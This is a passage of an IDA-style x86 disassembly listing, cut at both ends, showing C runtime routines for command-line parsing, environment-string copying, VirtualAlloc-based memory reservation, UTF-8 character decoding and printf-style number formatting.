sub_409560+67j ; sub_409560+6Aj ... mov [ebp+var_8], 0 loc_40960B: ; CODE XREF: sub_409560+181j cmp byte ptr [ebx], 0 jz short loc_40961D jmp short loc_409613 ; --------------------------------------------------------------------------- loc_409612: ; CODE XREF: sub_409560+B7j ; sub_409560+BBj inc ebx loc_409613: ; CODE XREF: sub_409560+B0j mov al, [ebx] cmp al, 20h jz short loc_409612 cmp al, 9 jz short loc_409612 loc_40961D: ; CODE XREF: sub_409560+AEj cmp byte ptr [ebx], 0 jz loc_4096E6 cmp [ebp+arg_4], 0 jz short loc_409637 mov eax, [ebp+arg_4] lea edx, [eax+4] mov [ebp+arg_4], edx mov [eax], ecx loc_409637: ; CODE XREF: sub_409560+CAj mov eax, [ebp+arg_C] inc dword ptr [eax] loc_40963C: ; CODE XREF: sub_409560+16Dj mov [ebp+var_4], 1 xor edi, edi jmp short loc_409649 ; --------------------------------------------------------------------------- loc_409647: ; CODE XREF: sub_409560+ECj inc ebx inc edi loc_409649: ; CODE XREF: sub_409560+E5j cmp byte ptr [ebx], 5Ch jz short loc_409647 cmp byte ptr [ebx], 22h jnz short loc_409699 test edi, 1 jnz short loc_409686 cmp [ebp+var_8], 0 jz short loc_409673 cmp byte ptr [ebx+1], 22h jnz short loc_40966A inc ebx jmp short loc_40967A ; --------------------------------------------------------------------------- loc_40966A: ; CODE XREF: sub_409560+105j mov [ebp+var_4], 0 jmp short loc_40967A ; --------------------------------------------------------------------------- loc_409673: ; CODE XREF: sub_409560+FFj mov [ebp+var_4], 0 loc_40967A: ; CODE XREF: sub_409560+108j ; sub_409560+111j xor eax, eax cmp [ebp+var_8], 0 setz al mov [ebp+var_8], eax loc_409686: ; CODE XREF: sub_409560+F9j shr edi, 1 jmp short loc_409699 ; --------------------------------------------------------------------------- loc_40968A: ; CODE XREF: sub_409560+13Ej test ecx, ecx jz short loc_409694 mov eax, ecx inc ecx mov byte ptr [eax], 5Ch loc_409694: ; CODE XREF: sub_409560+12Cj mov eax, [ebp+arg_10] inc dword ptr [eax] loc_409699: ; CODE XREF: sub_409560+F1j ; sub_409560+128j mov eax, edi dec edi test eax, eax jnz short loc_40968A mov al, [ebx] test al, al jz short loc_4096B4 cmp [ebp+var_8], 0 jnz short loc_4096B6 cmp al, 20h jz short loc_4096B4 cmp al, 9 jnz short loc_4096B6 loc_4096B4: ; CODE XREF: sub_409560+144j ; sub_409560+14Ej jmp short loc_4096D2 ; --------------------------------------------------------------------------- loc_4096B6: ; CODE XREF: sub_409560+14Aj ; sub_409560+152j cmp [ebp+var_4], 0 jz short loc_4096CC test ecx, ecx jz short loc_4096C7 mov eax, ecx inc ecx mov dl, [ebx] mov [eax], dl loc_4096C7: ; CODE XREF: sub_409560+15Ej mov eax, [ebp+arg_10] inc dword ptr [eax] loc_4096CC: ; CODE XREF: sub_409560+15Aj inc ebx jmp loc_40963C ; --------------------------------------------------------------------------- loc_4096D2: ; CODE XREF: sub_409560:loc_4096B4j test ecx, ecx jz short loc_4096DC mov eax, ecx inc ecx mov byte ptr [eax], 0 loc_4096DC: ; CODE XREF: sub_409560+174j mov eax, [ebp+arg_10] inc dword ptr [eax] jmp loc_40960B ; --------------------------------------------------------------------------- loc_4096E6: ; CODE XREF: sub_409560+C0j cmp [ebp+arg_4], 0 jz short loc_4096FB mov eax, [ebp+arg_4] lea edx, [eax+4] mov [ebp+arg_4], edx mov dword ptr [eax], 0 loc_4096FB: ; CODE XREF: sub_409560+18Aj mov eax, [ebp+arg_C] inc dword ptr [eax] pop edi pop ebx mov esp, ebp pop ebp retn sub_409560 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409710 proc near ; CODE XREF: sub_407AA0+69p var_10C = byte ptr -10Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 10Ch push ebx push esi call dword_411D90 ; GetCommandLineA mov esi, eax cmp byte ptr [esi], 0 jnz short loc_409742 push 104h lea eax, [ebp+var_10C] push eax push 0 call dword_411CDC ; GetModuleFileNameA lea esi, [ebp+var_10C] loc_409742: ; CODE XREF: sub_409710+16j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push 0 push 0 push esi call sub_409560 add esp, 14h mov eax, [ebp+var_4] mov edx, [ebp+var_8] lea eax, [edx+eax*4] push eax call sub_4081A0 pop ecx mov ebx, eax test ebx, ebx jnz short loc_409775 push 1 call sub_409190 pop ecx loc_409775: ; CODE XREF: sub_409710+5Bj lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax mov eax, [ebp+var_4] lea eax, [ebx+eax*4] push eax push ebx push esi call sub_409560 add esp, 14h mov eax, [ebp+var_4] dec eax mov dword_4117C4, eax mov dword_4117C8, ebx pop esi pop ebx mov esp, ebp pop ebp retn sub_409710 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4097B0 proc near ; CODE XREF: sub_407AA0+6Ep var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi call dword_411DF8 ; GetEnvironmentStrings mov [ebp+var_8], eax test eax, eax jnz short loc_4097CE mov eax, off_411894 mov [ebp+var_8], eax loc_4097CE: ; CODE XREF: sub_4097B0+14j mov [ebp+var_4], 0 mov ebx, [ebp+var_8] jmp short loc_4097F3 ; --------------------------------------------------------------------------- loc_4097DA: ; CODE XREF: sub_4097B0+46j mov edx, ebx or eax, 0FFFFFFFFh loc_4097DF: ; CODE XREF: sub_4097B0+34j inc eax cmp byte ptr [edx+eax], 0 jnz short loc_4097DF lea esi, [eax+1] cmp byte ptr [ebx], 3Dh jz short loc_4097F1 add [ebp+var_4], esi loc_4097F1: ; CODE XREF: sub_4097B0+3Cj add ebx, esi loc_4097F3: ; CODE XREF: sub_4097B0+28j cmp byte ptr [ebx], 0 jnz short loc_4097DA mov eax, [ebp+var_4] inc eax push eax call sub_4081A0 pop ecx mov edi, eax mov dword_4117D0, eax cmp dword_4117D0, 0 jnz short loc_40981B push 1 call sub_409190 pop ecx loc_40981B: ; CODE XREF: sub_4097B0+61j mov ebx, [ebp+var_8] jmp short loc_40984A ; --------------------------------------------------------------------------- loc_409820: ; CODE XREF: sub_4097B0+9Dj mov edx, ebx or eax, 0FFFFFFFFh loc_409825: ; CODE XREF: sub_4097B0+7Aj inc eax cmp byte ptr [edx+eax], 0 jnz short loc_409825 lea esi, [eax+1] cmp byte ptr [ebx], 3Dh jz short loc_409848 mov ecx, edi mov edx, ebx push ecx sub ecx, edx loc_40983B: ; CODE XREF: sub_4097B0+93j mov al, [edx] mov [ecx+edx], al inc edx test al, al jnz short loc_40983B pop eax add edi, esi loc_409848: ; CODE XREF: sub_4097B0+82j add ebx, esi loc_40984A: ; CODE XREF: sub_4097B0+6Ej cmp byte ptr [ebx], 0 jnz short loc_409820 mov byte ptr [edi], 0 mov eax, off_411894 cmp eax, [ebp+var_8] jz short loc_409866 mov eax, [ebp+var_8] push eax call dword_411DFC ; FreeEnvironmentStringsA loc_409866: ; CODE XREF: sub_4097B0+AAj pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4097B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_409870 proc near ; CODE XREF: sub_407AA0+A3p push ebx call dword_411D90 ; GetCommandLineA mov ebx, eax cmp byte ptr [ebx], 22h jnz short loc_409894 loc_40987E: ; CODE XREF: sub_409870+19j inc ebx mov eax, ebx cmp byte ptr [eax], 22h jz short loc_40988B cmp byte ptr [ebx], 0 jnz short loc_40987E loc_40988B: ; CODE XREF: sub_409870+14j cmp byte ptr [ebx], 22h jnz short loc_40989C inc ebx jmp short loc_40989C ; --------------------------------------------------------------------------- loc_409893: ; CODE XREF: sub_409870+27j inc ebx loc_409894: ; CODE XREF: sub_409870+Cj cmp byte ptr [ebx], 20h ja short loc_409893 jmp short loc_40989C ; --------------------------------------------------------------------------- loc_40989B: ; CODE XREF: sub_409870+34j inc ebx loc_40989C: ; CODE XREF: sub_409870+1Ej ; sub_409870+21j ... mov al, [ebx] test al, al jz short loc_4098A6 cmp al, 20h jbe short loc_40989B loc_4098A6: ; CODE XREF: sub_409870+30j mov eax, ebx pop ebx retn sub_409870 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4098B0 proc near ; CODE XREF: sub_407BD0+21p var_1C = byte ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push ebx push esi push edi mov ebx, [ebp+arg_0] cmp dword_4117D8, 0 jnz short loc_4098E3 push 1 push 2000h mov eax, dword_4117DC push eax push 0 call dword_411E00 ; VirtualAlloc mov dword_4117D8, eax test eax, eax jz short loc_409946 loc_4098E3: ; CODE XREF: sub_4098B0+13j push 1Ch lea eax, [ebp+var_1C] push eax mov eax, dword_4117D8 push eax call dword_411E04 ; VirtualQuery test eax, eax jz short loc_409946 cmp [ebp+var_C], 1000h jnz short loc_409910 mov eax, [ebp+var_10] mov edx, dword_4117D8 lea edi, [edx+eax] jmp short loc_409916 ; --------------------------------------------------------------------------- loc_409910: ; CODE XREF: sub_4098B0+50j mov edi, dword_4117D8 loc_409916: ; CODE XREF: sub_4098B0+5Ej mov esi, edi lea eax, [esi+ebx] mov edx, dword_4117DC mov ecx, dword_4117D8 add edx, ecx cmp eax, edx jb short loc_409931 xor eax, eax jmp short loc_409946 ; --------------------------------------------------------------------------- loc_409931: ; CODE XREF: sub_4098B0+7Bj push 4 push 1000h push ebx push esi call dword_411E00 ; VirtualAlloc test eax, eax jz short loc_409946 mov eax, esi loc_409946: ; CODE XREF: sub_4098B0+31j ; sub_4098B0+47j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4098B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409950 proc near ; CODE XREF: sub_4087E0+44p var_18 = dword ptr -18h var_14 = dword ptr -14h var_E = word ptr -0Eh var_C = dword ptr -0Ch var_8 = dword ptr -8 var_3 = byte ptr -3 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 18h push ebx mov eax, [ebp+arg_C] movzx eax, word ptr [eax+6] mov [ebp+var_3], al mov eax, [ebp+arg_4] mov [ebp+var_8], eax mov eax, [ebp+arg_C] mov eax, [eax] mov [ebp+var_2], ax cmp off_411924, 0 jnz loc_409ACB cmp [ebp+arg_4], 0 jnz short loc_40999E mov eax, [ebp+arg_C] mov ecx, dword_40FB38 mov ebx, dword_40FB3C mov [eax], ecx mov [eax+4], ebx xor eax, eax jmp loc_409C2A ; --------------------------------------------------------------------------- loc_40999E: ; CODE XREF: sub_409950+31j ; sub_409950+176j cmp [ebp+arg_8], 0 jnz short loc_4099C2 mov edx, [ebp+arg_C] movzx eax, [ebp+var_2] mov [edx], eax mov edx, [ebp+arg_C] movzx eax, [ebp+var_3] mov [edx+6], ax mov eax, 0FFFFFFFEh jmp loc_409C2A ; --------------------------------------------------------------------------- loc_4099C2: ; CODE XREF: sub_409950+52j cmp [ebp+var_3], 0 jbe short loc_409A09 mov eax, [ebp+var_8] movzx eax, byte ptr [eax] and eax, 0C0h cmp eax, 80h jz short loc_4099ED call sub_4083A0 mov dword ptr [eax], 2Ah or eax, 0FFFFFFFFh jmp loc_409C2A ; --------------------------------------------------------------------------- loc_4099ED: ; CODE XREF: sub_409950+88j movzx eax, [ebp+var_2] shl eax, 6 mov edx, [ebp+var_8] movzx edx, byte ptr [edx] and edx, 3Fh or eax, edx mov [ebp+var_2], ax sub [ebp+var_3], 1 jmp short loc_409A7A ; --------------------------------------------------------------------------- loc_409A09: ; CODE XREF: sub_409950+76j mov eax, [ebp+var_8] test byte ptr [eax], 80h jnz short loc_409A1D mov eax, [ebp+var_8] movzx eax, byte ptr [eax] mov [ebp+var_2], ax jmp short loc_409A7A ; --------------------------------------------------------------------------- loc_409A1D: ; CODE XREF: sub_409950+BFj mov eax, [ebp+var_8] movzx eax, byte ptr [eax] and eax, 0E0h cmp eax, 0C0h jnz short loc_409A42 mov eax, [ebp+var_8] movzx eax, byte ptr [eax] and eax, 1Fh mov [ebp+var_2], ax mov [ebp+var_3], 1 jmp short loc_409A7A ; --------------------------------------------------------------------------- loc_409A42: ; CODE XREF: sub_409950+DDj mov eax, [ebp+var_8] movzx eax, byte ptr [eax] and eax, 0F0h cmp eax, 0E0h jnz short loc_409A67 mov eax, [ebp+var_8] movzx eax, byte ptr [eax] and eax, 0Fh mov [ebp+var_2], ax mov [ebp+var_3], 2 jmp short loc_409A7A ; --------------------------------------------------------------------------- loc_409A67: ; CODE XREF: sub_409950+102j call sub_4083A0 mov dword ptr [eax], 2Ah or eax, 0FFFFFFFFh jmp loc_409C2A ; --------------------------------------------------------------------------- loc_409A7A: ; CODE XREF: sub_409950+B7j ; sub_409950+CBj ... cmp [ebp+var_3], 0 jnz short loc_409AC0 cmp [ebp+arg_0], 0 jz short loc_409A90 mov edx, [ebp+arg_0] mov ax, [ebp+var_2] mov [edx], ax loc_409A90: ; CODE XREF: sub_409950+134j mov edx, [ebp+arg_C] mov word ptr [edx+6], 0 cmp [ebp+var_2], 0 jnz short loc_409AA9 mov [ebp+var_C], 0 jmp short loc_409AB8 ; --------------------------------------------------------------------------- loc_409AA9: ; CODE XREF: sub_409950+14Ej mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov edx, [ebp+arg_4] sub eax, edx mov [ebp+var_C], eax loc_409AB8: ; CODE XREF: sub_409950+157j mov eax, [ebp+var_C] jmp loc_409C2A ; --------------------------------------------------------------------------- loc_409AC0: ; CODE XREF: sub_409950+12Ej inc [ebp+var_8] dec [ebp+arg_8] jmp loc_40999E ; --------------------------------------------------------------------------- loc_409ACB: ; CODE XREF: sub_409950+27j mov [ebp+var_C], 0 cmp [ebp+arg_4], 0 jnz short loc_409AFE mov eax, [ebp+arg_C] mov ecx, dword_40FB38 mov ebx, dword_40FB3C mov [eax], ecx mov [eax+4], ebx mov eax, off_411924 movzx eax, word ptr [eax] and eax, 0F00h jmp loc_409C2A ; --------------------------------------------------------------------------- loc_409AFE: ; CODE XREF: sub_409950+186j ; sub_409950+292j cmp [ebp+arg_8], 0 jnz short loc_409B22 mov edx, [ebp+arg_C] movzx eax, [ebp+var_2] mov [edx], eax mov edx, [ebp+arg_C] movzx eax, [ebp+var_3] mov [edx+6], ax mov eax, 0FFFFFFFEh jmp loc_409C2A ; --------------------------------------------------------------------------- loc_409B22: ; CODE XREF: sub_409950+1B2j mov al, [ebp+var_3] cmp al, 10h jnb short loc_409B5E movzx eax, al mov eax, off_411924[eax*4] mov [ebp+var_14], eax test eax, eax jz short loc_409B5E mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax cmp eax, 0FF0h jge short loc_409B5E mov eax, [ebp+var_8] movzx eax, byte ptr [eax] mov edx, [ebp+var_14] mov ax, [edx+eax*2] mov [ebp+var_E], ax test ax, ax jnz short loc_409B71 loc_409B5E: ; CODE XREF: sub_409950+1D7j ; sub_409950+1E8j ... call sub_4083A0 mov dword ptr [eax], 2Ah or eax, 0FFFFFFFFh jmp loc_409C2A ; --------------------------------------------------------------------------- loc_409B71: ; CODE XREF: sub_409950+20Cj movzx eax, [ebp+var_E] mov edx, eax and edx, 0F00h sar edx, 8 mov [ebp+var_3], dl test eax, 8000h jz short loc_409B9D movzx eax, [ebp+var_2] and eax, 0FFFFFF00h movzx edx, byte ptr [ebp+var_E] or eax, edx mov [ebp+var_2], ax loc_409B9D: ; CODE XREF: sub_409950+238j test [ebp+var_E], 1000h jz short loc_409BBF movzx eax, [ebp+var_2] mov edx, eax shl edx, 8 sar eax, 8 and eax, 0FFh or edx, eax mov ax, dx mov [ebp+var_2], ax loc_409BBF: ; CODE XREF: sub_409950+253j test [ebp+var_E], 4000h jz short loc_409BDC mov eax, [ebp+var_8] cmp byte ptr [eax], 0 jz short loc_409BDC inc [ebp+var_8] dec [ebp+arg_8] mov [ebp+var_C], 0 loc_409BDC: ; CODE XREF: sub_409950+275j ; sub_409950+27Dj test [ebp+var_E], 2000h jz loc_409AFE cmp [ebp+arg_0], 0 jz short loc_409BF8 mov edx, [ebp+arg_0] mov ax, [ebp+var_2] mov [edx], ax loc_409BF8: ; CODE XREF: sub_409950+29Cj mov edx, [ebp+arg_C] movzx eax, [ebp+var_2] mov [edx], eax mov edx, [ebp+arg_C] movzx eax, [ebp+var_3] mov [edx+6], ax cmp [ebp+var_2], 0 jnz short loc_409C1C mov [ebp+var_18], 0 jmp short loc_409C27 ; --------------------------------------------------------------------------- loc_409C1C: ; CODE XREF: sub_409950+2C1j mov eax, [ebp+var_8] mov edx, [ebp+arg_4] sub eax, edx mov [ebp+var_18], eax loc_409C27: ; CODE XREF: sub_409950+2CAj mov eax, [ebp+var_18] loc_409C2A: ; CODE XREF: sub_409950+49j ; sub_409950+6Dj ... pop ebx mov esp, ebp pop ebp retn sub_409950 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409C30 proc near ; CODE XREF: sub_4087E0+243p var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = qword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 38h push ebx movzx eax, [ebp+arg_8] mov [ebp+var_4], eax cmp eax, 41h jl short loc_409C4F cmp eax, 47h jg short loc_409C5E jmp dword_40FC40[eax*4] ; --------------------------------------------------------------------------- loc_409C4F: ; CODE XREF: sub_409C30+11j cmp [ebp+var_4], 25h jz loc_40A322 jmp loc_40A337 ; --------------------------------------------------------------------------- loc_409C5E: ; CODE XREF: sub_409C30+16j mov eax, [ebp+var_4] cmp eax, 58h jz loc_409E93 jl loc_40A337 mov eax, [ebp+var_4] cmp eax, 61h jl loc_40A337 cmp eax, 78h jg loc_40A337 jmp dword_40FBDC[eax*4] ; --------------------------------------------------------------------------- loc_409C8C: ; DATA XREF: DMN0:0040FD68o mov eax, [ebp+arg_0] cmp byte ptr [eax+3Ah], 6Ch jz short loc_409CB9 mov eax, [ebp+arg_0] mov edx, [eax+14h] lea ecx, [edx+1] mov [eax+14h], ecx mov eax, [ebp+arg_4] mov ecx, [eax] add ecx, 4 mov [eax], ecx mov eax, [ebp+arg_C] mov ecx, [ecx-4] mov [eax+edx], cl jmp loc_40A362 ; --------------------------------------------------------------------------- loc_409CB9: ; CODE XREF: sub_409C30+63j mov eax, [ebp+arg_4] mov edx, [eax] add edx, 4 mov [eax], edx mov eax, [edx-4] mov [ebp+var_6], ax mov [ebp+var_A], ax mov [ebp+var_8], 0 mov edx, [ebp+arg_0] or dword ptr [edx+2Ch], 0FFFFFFFFh lea eax, [ebp+var_A] push eax mov eax, [ebp+arg_0] push eax call sub_40AEB0 add esp, 8 test eax, eax jge loc_40A362 or eax, 0FFFFFFFFh jmp loc_40A364 ; --------------------------------------------------------------------------- loc_409CFB: ; DATA XREF: DMN0:0040FD6Co ; DMN0:0040FD80o mov eax, [ebp+arg_0] cmp byte ptr [eax+3Ah], 6Ch jnz short loc_409D20 mov edx, [ebp+arg_4] mov ecx, [edx] add ecx, 4 mov [edx], ecx mov edx, [ecx-4] mov ecx, edx mov ebx, ecx sar ebx, 1Fh mov [ebp+var_10], ecx mov [ebp-0Ch], ebx jmp short loc_409D94 ; --------------------------------------------------------------------------- loc_409D20: ; CODE XREF: sub_409C30+D2j mov edx, [ebp+arg_0] cmp byte ptr [edx+3Ah], 71h jnz short loc_409D41 mov edx, [ebp+arg_4] mov ecx, [edx] add ecx, 8 mov [edx], ecx mov ebx, [ecx-4] mov ecx, [ecx-8] mov [ebp+var_10], ecx mov [ebp-0Ch], ebx jmp short loc_409D88 ; --------------------------------------------------------------------------- loc_409D41: ; CODE XREF: sub_409C30+F7j mov edx, [ebp+arg_0] cmp byte ptr [edx+3Ah], 6Ah jnz short loc_409D62 mov edx, [ebp+arg_4] mov ecx, [edx] add ecx, 8 mov [edx], ecx mov ebx, [ecx-4] mov ecx, [ecx-8] mov [ebp+var_10], ecx mov [ebp-0Ch], ebx jmp short loc_409D7C ; --------------------------------------------------------------------------- loc_409D62: ; CODE XREF: sub_409C30+118j mov edx, [ebp+arg_4] mov ecx, [edx] add ecx, 4 mov [edx], ecx mov edx, [ecx-4] mov ecx, edx mov ebx, ecx sar ebx, 1Fh mov [ebp+var_10], ecx mov [ebp-0Ch], ebx loc_409D7C: ; CODE XREF: sub_409C30+130j mov ecx, [ebp+var_10] mov ebx, [ebp-0Ch] mov [ebp+var_10], ecx mov [ebp-0Ch], ebx loc_409D88: ; CODE XREF: sub_409C30+10Fj mov ecx, [ebp+var_10] mov ebx, [ebp-0Ch] mov [ebp+var_10], ecx mov [ebp-0Ch], ebx loc_409D94: ; CODE XREF: sub_409C30+EEj mov ecx, [ebp+var_10] mov ebx, [ebp-0Ch] mov [eax], ecx mov [eax+4], ebx mov eax, [ebp+arg_0] cmp byte ptr [eax+3Ah], 68h jnz short loc_409DC4 mov eax, [ebp+arg_0] mov ecx, [eax] mov ebx, [eax+4] mov dx, cx movsx edx, dx mov ecx, edx mov ebx, ecx sar ebx, 1Fh mov [eax], ecx mov [eax+4], ebx jmp short loc_409E0A ; --------------------------------------------------------------------------- loc_409DC4: ; CODE XREF: sub_409C30+176j mov eax, [ebp+arg_0] cmp byte ptr [eax+3Ah], 62h jnz short loc_409DE8 mov eax, [ebp+arg_0] mov ecx, [eax] mov ebx, [eax+4] mov dl, cl movsx edx, dl mov ecx, edx mov ebx, ecx sar ebx, 1Fh mov [eax], ecx mov [eax+4], ebx jmp short loc_409E0A ; --------------------------------------------------------------------------- loc_409DE8: ; CODE XREF: sub_409C30+19Bj mov eax, [ebp+arg_0] mov al, [eax+3Ah] cmp al, 74h jz short loc_409DF6 cmp al, 7Ah jnz short loc_409E0A loc_409DF6: ; CODE XREF: sub_409C30+1C0j mov eax, [ebp+arg_0] mov ecx, [eax] mov ebx, [eax+4] mov edx, ecx mov ebx, ecx sar ebx, 1Fh mov [eax], ecx mov [eax+4], ebx loc_409E0A: ; CODE XREF: sub_409C30+192j ; sub_409C30+1B6j ... mov eax, [ebp+arg_0] mov edx, [eax+4] mov eax, [eax] test edx, edx jg short loc_409E31 jl short loc_409E1C test eax, eax jnb short loc_409E31 loc_409E1C: ; CODE XREF: sub_409C30+1E6j mov eax, [ebp+arg_0] mov edx, [eax+14h] lea ecx, [edx+1] mov [eax+14h], ecx mov eax, [ebp+arg_C] mov byte ptr [eax+edx], 2Dh jmp short loc_409E6F ; --------------------------------------------------------------------------- loc_409E31: ; CODE XREF: sub_409C30+1E4j ; sub_409C30+1EAj mov eax, [ebp+arg_0] test word ptr [eax+38h], 2 jz short loc_409E51 mov eax, [ebp+arg_0] mov edx, [eax+14h] lea ecx, [edx+1] mov [eax+14h], ecx mov eax, [ebp+arg_C] mov byte ptr [eax+edx], 2Bh jmp short loc_409E6F ; --------------------------------------------------------------------------- loc_409E51: ; CODE XREF: sub_409C30+20Aj mov eax, [ebp+arg_0] test word ptr [eax+38h], 1 jz short loc_409E6F mov eax, [ebp+arg_0] mov edx, [eax+14h] lea ecx, [edx+1] mov [eax+14h], ecx mov eax, [ebp+arg_C] mov byte ptr [eax+edx], 20h loc_409E6F: ; CODE XREF: sub_409C30+1FFj ; sub_409C30+21Fj ... mov eax, [ebp+arg_0] mov edx, [eax+14h] mov ecx, [ebp+arg_C] add edx, ecx mov [eax+10h], edx movzx eax, [ebp+arg_8] push eax mov eax, [ebp+arg_0] push eax call sub_40B000 add esp, 8 jmp loc_40A362 ; --------------------------------------------------------------------------- loc_409E93: ; CODE XREF: sub_409C30+34j ; DATA XREF: DMN0:0040FD98o ... mov eax, [ebp+arg_0] cmp byte ptr [eax+3Ah], 6Ch jnz short loc_409EB5 mov edx, [ebp+arg_4] mov ecx, [edx] add ecx, 4 mov [edx], ecx mov edx, [ecx-4] mov ecx, edx xor ebx, ebx mov [ebp+var_18], ecx mov [ebp+var_14], ebx jmp short loc_409F26 ; --------------------------------------------------------------------------- loc_409EB5: ; CODE XREF: sub_409C30+26Aj mov edx, [ebp+arg_0] cmp byte ptr [edx+3Ah], 71h jnz short loc_409ED6 mov edx, [ebp+arg_4] mov ecx, [edx] add ecx, 8 mov [edx], ecx mov ebx, [ecx-4] mov ecx, [ecx-8] mov [ebp+var_18], ecx mov [ebp+var_14], ebx jmp short loc_409F1A ; --------------------------------------------------------------------------- loc_409ED6: ; CODE XREF: sub_409C30+28Cj mov edx, [ebp+arg_0] cmp byte ptr [edx+3Ah], 6Ah jnz short loc_409EF7 mov edx, [ebp+arg_4] mov ecx, [edx] add ecx, 8 mov [edx], ecx mov ebx, [ecx-4] mov ecx, [ecx-8] mov [ebp+var_18], ecx mov [ebp+var_14], ebx jmp short loc_409F0E ; --------------------------------------------------------------------------- loc_409EF7: ; CODE XREF: sub_409C30+2ADj mov edx, [ebp+arg_4] mov ecx, [edx] add ecx, 4 mov [edx], ecx mov edx, [ecx-4] mov ecx, edx xor ebx, ebx mov [ebp+var_18], ecx mov [ebp+var_14], ebx loc_409F0E: ; CODE XREF: sub_409C30+2C5j mov ecx, [ebp+var_18] mov ebx, [ebp+var_14] mov [ebp+var_18], ecx mov [ebp+var_14], ebx loc_409F1A: ; CODE XREF: sub_409C30+2A4j mov ecx, [ebp+var_18] mov ebx, [ebp+var_14] mov [ebp+var_18], ecx mov [ebp+var_14], ebx loc_409F26: ; CODE XREF: sub_409C30+283j mov ecx, [ebp+var_18] mov ebx, [ebp+var_14] mov [eax], ecx mov [eax+4], ebx mov eax, [ebp+arg_0] cmp byte ptr [eax+3Ah], 68h jnz short loc_409F55 mov eax, [ebp+arg_0] mov ecx, [eax] mov ebx, [eax+4] mov edx, ecx movzx edx, dx mov ecx, edx mov ebx, ecx sar ebx, 1Fh mov [eax], ecx mov [eax+4], ebx jmp short loc_409F98 ; --------------------------------------------------------------------------- loc_409F55: ; CODE XREF: sub_409C30+308j mov eax, [ebp+arg_0] cmp byte ptr [eax+3Ah], 62h jnz short loc_409F79 mov eax, [ebp+arg_0] mov ecx, [eax] mov ebx, [eax+4] mov edx, ecx movzx edx, dl mov ecx, edx mov ebx, ecx sar ebx, 1Fh mov [eax], ecx mov [eax+4], ebx jmp short loc_409F98 ; --------------------------------------------------------------------------- loc_409F79: ; CODE XREF: sub_409C30+32Cj mov eax, [ebp+arg_0] mov al, [eax+3Ah] cmp al, 74h jz short loc_409F87 cmp al, 7Ah jnz short loc_409F98 loc_409F87: ; CODE XREF: sub_409C30+351j mov eax, [ebp+arg_0] mov ecx, [eax] mov ebx, [eax+4] mov edx, ecx xor ebx, ebx mov [eax], ecx mov [eax+4], ebx loc_409F98: ; CODE XREF: sub_409C30+323j ; sub_409C30+347j ... mov eax, [ebp+arg_0] test word ptr [eax+38h], 8 jz short loc_409FE3 mov edx, [eax+4] mov eax, [eax] test edx, edx jnz short loc_409FB0 test eax, eax jz short loc_409FE3 loc_409FB0: ; CODE XREF: sub_409C30+37Aj mov al, [ebp+arg_8] cmp al, 78h jz short loc_409FBB cmp al, 58h jnz short loc_409FE3 loc_409FBB: ; CODE XREF: sub_409C30+385j mov eax, [ebp+arg_0] mov edx, [eax+14h] lea ecx, [edx+1] mov [eax+14h], ecx mov eax, [ebp+arg_C] mov byte ptr [eax+edx], 30h mov eax, [ebp+arg_0] mov edx, [eax+14h] lea ecx, [edx+1] mov [eax+14h], ecx mov eax, [ebp+arg_C] mov cl, [ebp+arg_8] mov [eax+edx], cl loc_409FE3: ; CODE XREF: sub_409C30+371j ; sub_409C30+37Ej ... mov eax, [ebp+arg_0] mov edx, [eax+14h] mov ecx, [ebp+arg_C] add edx, ecx mov [eax+10h], edx movzx eax, [ebp+arg_8] push eax mov eax, [ebp+arg_0] push eax call sub_40B000 add esp, 8 jmp loc_40A362 ; --------------------------------------------------------------------------- loc_40A007: ; DATA XREF: DMN0:0040FD44o ; DMN0:0040FD54o ... mov eax, [ebp+arg_0] cmp byte ptr [eax+3Ah], 4Ch jnz short loc_40A022 mov edx, [ebp+arg_4] mov ecx, [edx] add ecx, 8 mov [edx], ecx fld qword ptr [ecx-8] fstp [ebp+var_20] jmp short loc_40A032 ; --------------------------------------------------------------------------- loc_40A022: ; CODE XREF: sub_409C30+3DEj mov edx, [ebp+arg_4] mov ecx, [edx] add ecx, 8 mov [edx], ecx fld qword ptr [ecx-8] fstp [ebp+var_20] loc_40A032: ; CODE XREF: sub_409C30+3F0j fld [ebp+var_20] fstp qword ptr [eax] mov eax, [ebp+arg_0] push eax call sub_40B240 pop ecx cmp ax, 2 jz short loc_40A0A5 mov eax, [ebp+arg_0] test word ptr [eax+6], 8000h jz short loc_40A067 mov eax, [ebp+arg_0] mov edx, [eax+14h] lea ecx, [edx+1] mov [eax+14h], ecx mov eax, [ebp+arg_C] mov byte ptr [eax+edx], 2Dh jmp short loc_40A0A5 ; --------------------------------------------------------------------------- loc_40A067: ; CODE XREF: sub_409C30+420j mov eax, [ebp+arg_0] test word ptr [eax+38h], 2 jz short loc_40A087 mov eax, [ebp+arg_0] mov 